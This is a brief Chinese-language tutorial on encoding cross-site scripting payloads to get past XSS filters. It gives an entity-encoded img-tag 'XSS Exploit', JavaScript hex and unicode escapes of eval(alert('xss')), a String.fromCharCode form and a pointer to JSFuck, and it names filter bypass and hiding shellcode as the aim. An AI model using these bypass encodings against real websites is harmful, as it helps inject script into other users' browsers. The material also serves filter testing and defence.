XSS注入-XSS中的编码

字符编码的作用
  在实际环境中,XSS注入的脚本很可能会被XSS Filter过滤,这是就可以尝试使用不同的字符编码进行绕过服务端检查,同时也可以更好的隐藏shellcode。在线编码地址: https://www.toolmao.com/xsstranser
XSS注入-XSS中的编码

HTML编码
  HTML标签中的某些属性值可以使用 &#ASCII方式进行编码改写,并且支持十进制和十六进制。例如将 XSS注入-XSS中的编码中的javascript:alert(‘xss’)进行编码:
  &#十进制ASCII: javascript:alert('xss')
  XSS Exploit: <img src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;" />
  也可以不加;
  &#十六进制ASCII:采用&#加多个0: &#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0078;&#x0073;&#x0073;&#x0027;&#x0029;

JS编码
  例如将eval(alert(‘xss’))中的js进行js编码:
  十六进制\x61\x6c
  \x65\x76\x61\x6c\x28\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x29
  unicode \u0061\u006c
  \u0065\u0076\u0061\u006c\u0028\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u0029

String.fromCharCode
  String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)

jsfuck编码
参考网址:http://www.jsfuck.com/
https://github.com/aemkei/jsfuck/blob/master/jsfuck.js
实际用途:绕过javascript